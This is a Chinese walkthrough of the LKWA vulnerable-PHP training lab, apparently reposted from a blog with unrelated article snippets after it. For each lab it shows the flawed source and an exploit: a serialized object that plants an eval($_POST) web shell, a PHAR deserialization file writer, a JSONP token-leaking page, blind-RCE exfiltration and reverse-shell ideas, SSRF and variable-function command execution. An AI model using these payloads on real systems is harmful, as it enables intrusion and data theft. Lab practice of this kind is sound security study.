当前位置：首页 > news >正文

LKWA靶场通关和源码分析

news 文章来源：https://blog.csdn.net/weixin_53090346/article/details/128961217 2025/1/11 5:39:18

文章目录

一、Blind RCE？
二、XSSI
三、PHP Object Injection
四、PHP Object Injection(cookie)
五、PHP Object Injection(Referer)
六、PHAR
七、SSRF
八、Variables
总结

一、Blind RCE？

源码：

<?php
include("sidebar.php");
/*** Blind RCE*/
class Rce {private $user_input;private $level;function __construct() {$this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;$this->level = isset($_POST['level']) ? $_POST['level'] : null;}function start() {if (empty($this->user_input)) {}else{exec($this->user_input);}}
}$rce = new Rce();
if(!empty($_POST))
{$rce->start();
}

通过exec()直接传入post的数据，进行命令执行，但是无回显，一般有几种方式，curl外带，dnglog外带，反弹shell等等，这里靶机没有curl，所有curl没法用，当然，可以通过命令执行先下载，再进行curl。

在这里插入图片描述

二、XSSI

源码：

session_start();
include("sidebar.php");
$file = "../api/user";
if(!isset($_SESSION['login_user'])){
header("location: index.php");
}
?><!DOCTYPE html>
<html lang="en" dir="ltr"><head><meta charset="utf-8"><title></title><script src="../jquery/jquery.min.js"></script><script>function get(){$.ajax({url:"../api/user",type:"GET",async:true,success:function(parse){for (var i in parse){$("#" + i).text(parse[i]);}}});}get();</script></head>

<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){$myObj = new \stdClass();$myObj->name = "admin";$myObj->token=time()+2*24*60*60;$data = json_encode($myObj);if(array_key_exists('callback', $_GET)){header('Content-Type: text/javascript; charset=utf8');header('Access-Control-Max-Age: 3628800');header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');$callback = $_GET['callback'];echo $callback.'('.$data.');';}else{// normal JSON stringheader('Content-Type: application/json; charset=utf8');echo $data;}}
else {$myObj = new \stdClass();$myObj->name = "";$myObj->token="";$data = json_encode($myObj);if(array_key_exists('callback', $_GET)){header('Content-Type: text/javascript; charset=utf8');header('Access-Control-Max-Age: 3628800');header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');$callback = $_GET['callback'];echo $callback.'('.$data.');';}else{// normal JSON stringheader('Content-Type: application/json; charset=utf8');echo $data;}
}
?>

使用admin，password登录会设置session，传到xssi.php，xssi.php中的$file指的就是api/user.php，而user.php中会用time()函数生成token，然后通过传入的callback参数输出data数据，因此可以调用/api/user触发。

<html><head><title>XSS</title>    </head>
<body><script>function leak(leaked)
{alert(JSON.stringify(leaked));
};</script><script src="http://ip:3000/api/user?callback=leak" type="text/javascript"></script>
</body>
</html>

在这里插入图片描述

三、PHP Object Injection

源码：

<?phpclass Foo{function __construct($filename, $data) {$this->filename = $filename . ".txt";$this->data = $data;}function __destruct(){file_put_contents($this->filename, $this->data);}
}
?>

接收object参数，然后会反序列化object，所以可以触发destruct写入shell。

<?phpclass Foo{function __construct($filename, $data) {$this->filename = $filename;$this->data = $data;}
}$a=new Foo("/var/www/html/shell.php",'<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($a));

在这里插入图片描述

四、PHP Object Injection(cookie)

源码：

<?php
include("sidebar.php");
include("obj_injection.php");if (isset($_POST['username']) && isset($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];$object = new stdClass();$object->user = $username;$data = serialize($object);if($username === "admin" && $password === "password")setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day
}?>
<!DOCTYPE html>
<html>
<head><title>Test</title>
</head>
<body><div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6></div><div class="card-body">
<form action="content.php" method="POST"><div class="form-group"><label for="exampleInputEmail1">Username</label><input type="text" class="form-control" placeholder="Enter username" name="username"></div><div class="form-group"><label for="exampleInputPassword1">Password</label><input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password"></div><button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
if(isset($_COOKIE['username']))
{$var = unserialize($_COOKIE['username']);echo "<br> Welcome ".$var->user;
}?></div></div></div></div><?php include("description.php"); ?></div></body>
</html>

class Foo{public $cmd;function __construct() {}function __destruct(){eval($this->cmd);}
}?>

使用序列化的方式生成cookie，然后对cookie中的username进行反序列化输出，Foo类可以进行命令执行，可以通过传入username，触发eval()。

在这里插入图片描述

五、PHP Object Injection(Referer)

源码：

<!DOCTYPE html>
<html lang="en" dir="ltr"><head><meta charset="utf-8"><title></title></head><body><div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6></div><div class="card-body"><form action="objectref.php" method="post"><div class="form-group"><label for="exampleInputEmail1">Guess</label><input type="text" class="form-control" placeholder="Enter number" name="guess"><input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'></div><button type="submit" class="btn btn-primary">Submit</button><p><p class="text-danger"> Can you win this?.</p><?php// vuln codeif (isset($_POST['guess'])) {// code...$obj = unserialize($_POST['input']);if($obj) {$obj->guess = $_POST['guess'];$obj->secretCode = rand(500000,999999);if($obj->guess === $obj->secretCode) {echo "<p class='text-success'>You Win !!!!!</p>";}else{echo "<p class='text-danger'>Loser!!!!</p>";}}}?><p></form></div></div></div></div><?php include("description.php"); ?></div></body>
</html>

要我们猜的数字和随机数相等，在不知道种子和前一次结果是几乎不可能做到的，但是可以控制input，使其相等。

<?php
class A{var $guess;var $secretCode;}
$a=new A();
$a->guess=$a->secretCode;
echo serialize($a);

在这里插入图片描述

六、PHAR

源码：

<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {if($imageFileType !== "PHAR") {$uploadOk = 1;} else {echo "File is not a PHAR file.";$uploadOk = 0;}
}
// Check if file already exists
if (file_exists($target_file)) {echo "Sorry, file already exists.";$uploadOk = 0;
}// Allow certain file formats
if($imageFileType != "phar") {echo "Sorry, only PHAR file is allowed.";$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";} else {echo "Sorry, there was an error uploading your file.";}
}
?>

<?php
/*** */
include("sidebar.php");class log
{public $filename="log.txt";public $data="log";function __wakeup(){file_put_contents($this->filename, $this->data);}
}if (file_exists($_GET['file'])) {$var = new log();
}?>
<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body>
<div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6></div><div class="card-body"><form action="upload.php" method="post" enctype="multipart/form-data">Select PHAR file to upload:<br><br><input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary"><input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary"></form></div></div></div></div><?php include("description.php"); ?>
</div>
</body>

只能传phar，明显使用phar伪协议触发log类的file_put_contents方法进行shell。

<?php
class log
{
public $filename;
public $data;
}
$a=new log();
$a->filename="/var/www/html/phpinfo.php";
$a->data="<?php phpinfo();?>";$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在这里插入图片描述

七、SSRF

源码：

<?php
include("sidebar.php");
if (isset($_GET['image'])) {# code...echo file_get_contents($_GET['image'], true);
}
?>
<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><div class="container-fluid"><!-- Page Heading --><div class="d-sm-flex align-items-center justify-content-between mb-4"><h1 class="h3 mb-0 text-gray-800"></h1></div><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">SSRF</h6></div><div class="card-body"><form action="index.php" method="GET"><div class="form-group"><label for="exampleInputEmail1">Image URL</label><input type="text" class="form-control" placeholder="Enter url" name="image"></div><button type="submit" class="btn btn-primary">Submit</button><p></form><img src="<?php echo $_GET['image']; ?>"></div></div></div></div><?php include("description.php"); ?></div>
</body>
</html>

在这里插入图片描述

八、Variables

源码：

<?php 
include("sidebar.php");?>
<!DOCTYPE html>
<html>
<head><title>Variables variable</title>
</head>
<body><div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">Variables variable</h6></div><div class="card-body"><!-- vuln form --><form action="variable.php" method="GET"><div class="form-group"><label for="exampleInputPassword1">String to dump</label><input type="hidden" name="func" value="var_dump"><input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string"></div><button type="submit" class="btn btn-primary">Submit</button></form>   <br><p class="text-danger">Output:</p><p id="output"><?php if (isset($_GET['func']) && isset($_GET['input'])) {$var = $_GET['func'];${"var"}($_GET['input']);}?></p>                </div></div></div></div><?php include("description.php"); ?></div></body>
</html>

直接拼接了两个参数，那么就可以直接进行命令执行，但是要回显，因此可以使用passthru，当然这里也可以直接反弹shell，方式很多。

在这里插入图片描述

总结

简单、基础、好玩！
靶场地址：lkwa的某docker镜像地址

LKWA靶场通关和源码分析

文章目录一、Blind RCE？二、XSSI三、PHP Object Injection四、PHP Object Injection(cookie)五、PHP Object Injection(Referer)六、PHAR七、SSRF八、Variables总结一、Blind RCE？ 源码： <?php include("sidebar.php"); /***…...

编程日记 2023/2/11 9:40:24

step1：nug下载log4cppstep2：实现demo#include <iostream>#include <log4cpp/Category.hh>#include <log4cpp/Appender.hh>#include <log4cpp/FileAppender.hh>#include <log4cpp/Priority.hh>#include <log4cpp/Patter…...

编程日记 2023/2/11 9:39:20

平价款的血糖血压监测工具，用它养成健康生活习惯，dido F50S Pro上手

之前看有数据显示国内的三高人群越来越年轻，很多人不到三十就有了高血压、高血糖的问题，埋下了不小的健康隐患，加上前阵子的疫情管控放松，人们了解到了新冠病毒对心脏负担的认知，预防慢病被大众提上了日程，…...

编程日记 2023/2/11 9:38:12

算法训练营 day42 动态规划理论基础斐波那契数爬楼梯使用最小花费爬楼梯

算法训练营 day42 动态规划理论基础斐波那契数爬楼梯使用最小花费爬楼梯理论基础动态规划，英文：Dynamic Programming，简称DP，如果某一问题有很多重叠子问题，使用动态规划是最有效的。所以动态规划中每一个状…...

编程日记 2023/2/11 9:37:03

MySQL8 创建用户,设置修改密码,授权

MySQL8 创建用户,设置修改密码,授权 MySQL5.7可以 (创建用户,设置密码,授权) 一步到位 👇 GRANT ALL PRIVILEGES ON *.* TO 用户名% IDENTIFIED BY 密码 WITH GRANT OPTION👆这样的语句在MySQL8.0中行不通, 必须创设和授权分步执行👇 CR…...

编程日记 2023/2/11 9:35:54

MySQL —— 内置函数

目录内置函数一、日期函数二、字符串函数三、数学函数四、其他函数内置函数一、日期函数函数名称描述current_date()获取当前日期current_time()获取当前时间current_timestamp()获取当前时间戳now()获取当前日期时间date(datetime)获取datetime参数的日期部分d…...

编程日记 2023/2/11 9:34:48

Mybatis框架（全部基础知识）

👌 棒棒有言：也许我一直照着别人的方向飞，可是这次，我想要用我的方式飞翔一次！人生，既要淡，又要有味。凡事不必太在意，一切随缘，缘深多聚聚，缘浅随它去。凡事…...

编程日记 2023/2/11 9:33:44

pixhawk2.4.8使用调试记录—APM固件

目录一、硬件准备二、APM固件、MP地面站下载三、地面站配置1 刷固件2 机架选择3 加速度计校准4 指南针校准5 遥控器校准6 飞行模式7 紧急断电&无头模式8 基础参数设置9 电流计校准10 电调校准11 起飞前检查（每一项都非常重要）12 飞行经验四、遇到的问…...

编程日记 2023/2/11 9:32:39

终于进了字节，记录一下我作为一名测试员磕磕碰碰的三个月找工作经历...

我是裸辞后重新找工作的，从去年到今年，前前后后花了大概三个月，大大小小参加了几百场面试。不是我说，作为一名测试员是真的挺难的，不过很庆幸自己最后拿到了字节的offer，今天在这里做一下记录吧&#xff0c…...

编程日记 2023/2/11 9:31:33

基于PYTHON django四川旅游景点推荐系统

摘要基于四川旅游景点推荐系统的设计与实现是一个专为四川旅游景点为用户打造的旅游网站。该课题基于网站比较流行的Python 语言系统架构,B/S三层结构模式，通过Maven项目管理工具进行Jar包版本的控制。本系统用户可以发布个人游记，查看景点使用户达到良…...

编程日记 2023/2/11 9:30:27

MySql服务多版本之间的切换

从网上总结的经验，然后根据自己所遇到的问题合并记录一下，方便日后再次需要用到 MySql服务多版本同时运行步骤 1、如果你电脑上已经有一个mysql版本，例如mysql-5.7.39-winx64，它占据了3306端口。此时如果你想下仔另一版本&…...

编程日记 2023/2/11 9:29:22

嵌入式开发：通过嵌入式虚

嵌入式虚拟化为实现多核处理能力的优势提供了一种可扩展的机制。嵌入式应用中的虚拟化与其企业和桌面应用有许多共同之处。独特的嵌入式使用案例和专业的底层技术为嵌入式开发人员提供了优化性能和响应设计的新机会。在台式机、数据中心以及现在的嵌入式设计中采用多核技术可以…...

编程日记 2023/2/11 9:28:15

广州穗雅医院杨济安：了解症状表现有效防治口腔黏膜下纤维化

“医生，我出现口干大半年时间，最近两月张嘴费劲，吃点辣的，嘴就刺疼刺疼的，这是怎么回事？”半年前，家住南沙的文先生走进广州穗雅医院口腔黏膜科如是说到。在科室杨济安主任的详细问诊与检查后&a…...

编程日记 2023/2/11 9:27:09

[数据分析] 数据指标体系搭建

在数据分析的学习过程中，我们通常会要求掌握以下两点: 1.理解数据，懂得从数据中发现业务指标(学会如何去看懂数据) 2.使用相关指标去分析数据，同时使用多个指标去分析一个问题(了解常见的指标) 当我们拿到数据(通常以Excel或者数据库方式去…...

编程日记 2023/2/11 9:26:03

Dubbo 源码分析 – 集群容错之 Cluster

3.2.2 FailbackClusterInvoker FailbackClusterInvoker 会在调用失败后，返回一个空结果给服务提供者。并通过定时任务对失败的调用进行重传，适合执行消息通知等操作。下面来看一下它的实现逻辑。 public class FailbackClusterInvoker<T> extend…...

编程日记 2023/2/11 9:24:57

Spring学习20230208-09

IOC底层原理 IOC概念 ：面向对象编程中的一种设计原则，用来降低耦合度通过控制反转，对象在被创建的时候，由一个调控系统内所有对象的外界实体将其所依赖的对象引用传递给他。可以说，依赖被注入到对象中。控制反转&…...

编程日记 2023/2/11 9:23:52

tomcat10部署报错WebStatFilter cannot be cast to jakarta.servlet.Filter

异常信息09-Feb-2023 23:08:49.946 严重 [main] org.apache.catalina.core.StandardContext.filterStart 启动过滤器异常[DruidWebStatFilter]java.lang.ClassCastException: com.alibaba.druid.support.http.WebStatFilter cannot be cast to jakarta.servlet.Filterat org.ap…...

编程日记 2023/2/11 9:22:42

Linux修改文件时间或创建新文件：touch

每个文件在Linux下面都记录了许多的时间参数，其实是三个主要的变动时间修改时间（modification time，mtime）：当该文件的【内容数据】变更时，就会更新这个时间，内容数据是指文件的内容&#xff…...

编程日记 2023/2/11 9:21:37

原生微信小程序按需引入vant

vant Vant Weapp - 轻量、可靠的小程序 UI 组件库 1.npm安装找到项目根目录安装 # 通过 npm 安装 npm i vant/weapp -S --production# 通过 yarn 安装 yarn add vant/weapp --production# 安装 0.x 版本 npm i vant-weapp -S --production 2 .修改 app.json 将 app.jso…...

编程日记 2023/2/11 9:20:32

高性能IO模型：为什么单线程Redis能那么快？

我们通常说Redis是单线程，主要是指Redis的网络IO和键值对读写是由一个线程来完成的。这也是Redis对外提供键值存储服务的主要流程。但redis的其他功能，比如持久化、异步删除、集群数据同步等，其实是由额外的线程执行的。 Redis为什么用单线…...

编程日记 2023/2/11 9:19:24

【数据集】中国各类水文专业常用数据集合集

1 水文气象数据 1.1 中国站点尺度天然径流量估算数据集（1961～2018年） 论文： J2022-High-quality reconstruction of China’s natural streamflow-缪驰远（北京师范大学地理科学学部） 研究内容&#xff1a…...

编程日记 2023/2/11 9:18:18

落枕、肩颈酸痛，用磁疗就可缓解！

睡觉之前还是好好的，一觉醒来脖子莫名疼痛，转都转不了，有时候连肩膀和上肢都难受，很可能是“落枕”了。落枕引起的肩颈疼痛与多种因素有关，如颈肩部肌肉的过度使用、不良的睡眠姿势或颈肩部受寒湿空气的侵袭&#xff…...

编程日记 2023/2/11 9:17:09

一文教会你如何选择远程桌面（五大主流远程软件全面讲解）

写在前面作为程序员的我们，随时随地写代码改代码是我们的日常。刚回到家，就被老板、产品经理cue是常有的事。基于这种情况，一般都会随身携带电脑，随时备战，不过每天背着电脑上下班非常不方便。因此资深程序员的解决方…...

编程日记 2023/2/11 9:16:02

【yolov5】yolov5训练自己的数据集全流程----包含本人设计的快速数据处理脚本

关于yolo应用时能用到的脚本集合，推荐收藏： https://chenlinwei.blog.csdn.net/article/details/127299428 1. 工程化快速yolo训练流程指定版（无讲解） 1.1 抽样数据集xml转txt输出量化分析 python make_dataset.pymake_dataset…...

编程日记 2023/2/11 9:14:57

leaflet 加载CSV数据，显示图形（代码示例046）

第046个点击查看专栏目录本示例的目的是介绍演示如何在vue+leaflet中加载CSV文件，将图形显示在地图上。直接复制下面的 vue+openlayers源代码，操作2分钟即可运行实现效果；注意如果OpenStreetMap无法加载，请加载其他来练习文章目录示例效果配置方式示例源代码（共74…...

编程日记 2023/2/11 9:13:52

百趣代谢组学资讯:槟榔的基因组为雌雄同株植物的性别决定提供见解

文章标题：The genome of Areca catechu provides insights into sex determination of monoecious plants 发表期刊：New Phytologist 影响因子：10.323 作者单位：海南大学百趣生物提供服务：植物激素高通量靶标定…...

编程日记 2023/2/11 9:12:46

SSO单点登录 - 多系统，单一位置登录，实现多系统同时登录学习笔记

(1)单点登录多系统的前提下，单一位置的登录，会实现多系统同时登录的一种技术。常出现在互联网应用和企业级平台中如：京东单点登录一般是用于互相授信的系统，实现单一位置登录，全系统有效的。注意&#xff1a…...

编程日记 2023/2/11 9:11:40

图解LeetCode——剑指 Offer 32 - III. 从上到下打印二叉树 III

一、题目请实现一个函数按照之字形顺序打印二叉树，即：第一行按照从左到右的顺序打印，第二层按照从右到左的顺序打印，第三行再按照从左到右的顺序打印，其他行以此类推。二、示例 2.1> 示例1 提示： …...

编程日记 2023/2/11 9:10:33

【快排与归并排序算法】

作者：指针不指南吗专栏：算法篇 🐾或许会很慢，但是不可以停下🐾 文章目录一、快速排序 ( Quick Sort )二、归并排序 ( Merge Sort )总结一、快速排序 ( Quick Sort ) 1.思路找出一个分界点，随机的调整区间…...

编程日记 2023/2/11 9:08:23

面试官问我：说说你对JMM内存模型的理解？为什么需要JMM?

点个关注，必回关随着CPU和内存的发展速度差异的问题，导致CPU的速度远快于内存，所以现在的CPU加入了高速缓存，高速缓存一般可以分为L1、L2、L3三级缓存。基于上面的例子我们知道了这导致了缓存一致性的问题，所以加入…...

编程日记 2023/2/11 9:07:18

做推广的网站带宽需要多少钱/关键词优化精灵

给定一个链表，删除链表的倒数第 n 个节点，并且返回链表的头结点。示例： 给定一个链表: 1->2->3->4->5, 和 n 2. 当删除了倒数第二个节点后，链表变为 1->2->3->5. 说明： 给定的 n 保证是有效…...

编程日记 2025/1/11 5:32:09

做网站需要代码吗/持续优化疫情防控举措

题目描述操作给定的二叉树，将其变换为源二叉树的镜像。输入描述: 二叉树的镜像定义： /* struct TreeNode {int val;struct TreeNode *left;struct TreeNode *right;TreeNode(int x) :val(x), left(NULL), right(NULL) {} };*/ class Solution { pub…...

编程日记 2025/1/11 2:43:11

广东东莞虎门最新疫情/移动端优化

DOM2.0模型将事件处理流程分为三个阶段： 一、事件捕获阶段， 二、事件目标阶段， 三、事件起泡阶段。具体如图（图片来源于网络，侵删） 事件捕获：当某个元素触发某个事件（如onclick&…...

编程日记 2025/1/11 2:02:21

温州市网站建设公司/提高百度搜索排名

怎样调用一个由char * 指针指向函数名的函数？最直接的方法就是维护一个名字和函数指针的列表： int one_func(), two_func(); int red_func(), blue_func(); struct { char *name; int (*funcptr)(); } symtab[] {"one_func", o…...

编程日记 2025/1/11 0:38:36

安陆网站建设/网站seo优化案例

条件：1八位数；2.以领开头；3.末尾要依次递增 <script type"text/javascript">function Account(num,a){ // num以领开头的8位数，a依次递增 //初始的a为数字var s a.toString(); // 数字转字符串var b s.…...

编程日记 2025/1/10 22:53:58

自己做网站套模板/网络推广项目外包公司

在配置百度地图 SDK 和使用时，发现官网上的教程并不是那么好用，而且容易出现定位回调里 BDLocation.getLocType() 162 这个问题，官网只是说 SO 配置出现异常，并没有明确问题所在；如果你也遇到了，请点这个链…...

编程日记 2025/1/10 22:36:50

文章目录

一、Blind RCE？

二、XSSI

三、PHP Object Injection

四、PHP Object Injection(cookie)

五、PHP Object Injection(Referer)

六、PHAR

七、SSRF

八、Variables

总结

相关文章：